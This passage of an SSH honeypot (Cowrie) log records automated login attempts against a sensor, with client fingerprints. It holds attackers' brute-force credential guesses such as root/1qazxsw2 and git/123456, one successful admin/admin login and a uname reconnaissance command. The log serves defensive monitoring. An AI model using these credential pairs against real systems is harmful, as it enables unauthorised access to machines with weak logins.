cdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:47.699159Z","src_ip":"83.168.110.85","session":"fc2eac2ae1cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234","message":"login attempt [admin/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:48.064330Z","src_ip":"83.168.110.85","session":"fc2eac2ae1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:49.275587Z","src_ip":"83.168.110.85","session":"fc2eac2ae1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:57.150395Z","src_ip":"139.19.117.129","session":"632656c6b177","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":50456,"dst_ip":"159.203.135.109","dst_port":22,"session":"99c67a65e7f2","protocol":"ssh","message":"New connection: 83.168.110.85:50456 (159.203.135.109:22) [session: 99c67a65e7f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:57.719799Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:57.724741Z","src_ip":"83.168.110.85","session":"99c67a65e7f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:57.846383Z","src_ip":"83.168.110.85","session":"99c67a65e7f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!Q@W3e4r","message":"login attempt [root/!Q@W3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:58.210987Z","src_ip":"83.168.110.85","session":"99c67a65e7f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:53:59.357862Z","src_ip":"83.168.110.85","session":"99c67a65e7f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":34548,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c4dccd66531","protocol":"ssh","message":"New connection: 194.113.233.25:34548 (10.17.0.5:22) [session: 4c4dccd66531]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:01.727747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:01.733896Z","src_ip":"194.113.233.25","session":"4c4dccd66531","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:01.827843Z","src_ip":"194.113.233.25","session":"4c4dccd66531","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kokoko","message":"login attempt [root/kokoko] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:02.112661Z","src_ip":"194.113.233.25","session":"4c4dccd66531","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:03.212006Z","src_ip":"194.113.233.25","session":"4c4dccd66531","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":34524,"dst_ip":"159.203.135.109","dst_port":22,"session":"9adcc7d33e67","protocol":"ssh","message":"New connection: 83.168.110.85:34524 (159.203.135.109:22) [session: 9adcc7d33e67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:08.170207Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:08.175422Z","src_ip":"83.168.110.85","session":"9adcc7d33e67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:08.296468Z","src_ip":"83.168.110.85","session":"9adcc7d33e67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:08.671744Z","src_ip":"83.168.110.85","session":"9adcc7d33e67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:09.805058Z","src_ip":"83.168.110.85","session":"9adcc7d33e67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":41188,"dst_ip":"159.203.135.109","dst_port":22,"session":"df369ed3766d","protocol":"ssh","message":"New connection: 193.32.162.151:41188 (159.203.135.109:22) [session: df369ed3766d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:10.058268Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:10.065626Z","src_ip":"193.32.162.151","session":"df369ed3766d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:10.163940Z","src_ip":"193.32.162.151","session":"df369ed3766d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:10.586477Z","src_ip":"193.32.162.151","session":"df369ed3766d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:10.892438Z","src_ip":"193.32.162.151","session":"df369ed3766d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:10.895427Z","src_ip":"193.32.162.151","session":"df369ed3766d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:11.004345Z","src_ip":"193.32.162.151","session":"df369ed3766d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.9","message":"Connection lost after 0.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:11.010707Z","src_ip":"193.32.162.151","session":"df369ed3766d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":12338,"dst_ip":"159.203.135.109","dst_port":22,"session":"5b5d35895e74","protocol":"ssh","message":"New connection: 45.148.10.157:12338 (159.203.135.109:22) [session: 5b5d35895e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:16.542171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:16.546710Z","src_ip":"45.148.10.157","session":"5b5d35895e74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:16.631223Z","src_ip":"45.148.10.157","session":"5b5d35895e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:16.997597Z","src_ip":"45.148.10.157","session":"5b5d35895e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57628,"dst_ip":"159.203.135.109","dst_port":22,"session":"28fb75bc4205","protocol":"ssh","message":"New connection: 83.168.110.85:57628 (159.203.135.109:22) [session: 28fb75bc4205]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:18.566494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:18.575906Z","src_ip":"83.168.110.85","session":"28fb75bc4205","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:18.697349Z","src_ip":"83.168.110.85","session":"28fb75bc4205","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:19.060701Z","src_ip":"83.168.110.85","session":"28fb75bc4205","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:20.186971Z","src_ip":"83.168.110.85","session":"28fb75bc4205","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":36168,"dst_ip":"159.203.135.109","dst_port":22,"session":"26e246eaa698","protocol":"ssh","message":"New connection: 83.168.110.85:36168 (159.203.135.109:22) [session: 26e246eaa698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:28.741990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:28.746812Z","src_ip":"83.168.110.85","session":"26e246eaa698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:28.868044Z","src_ip":"83.168.110.85","session":"26e246eaa698","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:29.232409Z","src_ip":"83.168.110.85","session":"26e246eaa698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:30.411831Z","src_ip":"83.168.110.85","session":"26e246eaa698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"83.168.110.85","src_port":57026,"dst_ip":"159.203.135.109","dst_port":22,"session":"835b099e4b0b","protocol":"ssh","message":"New connection: 83.168.110.85:57026 (159.203.135.109:22) [session: 835b099e4b0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:39.311321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T01:54:39.319927Z","src_ip":"83.168.110.85","session":"835b099e4b0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-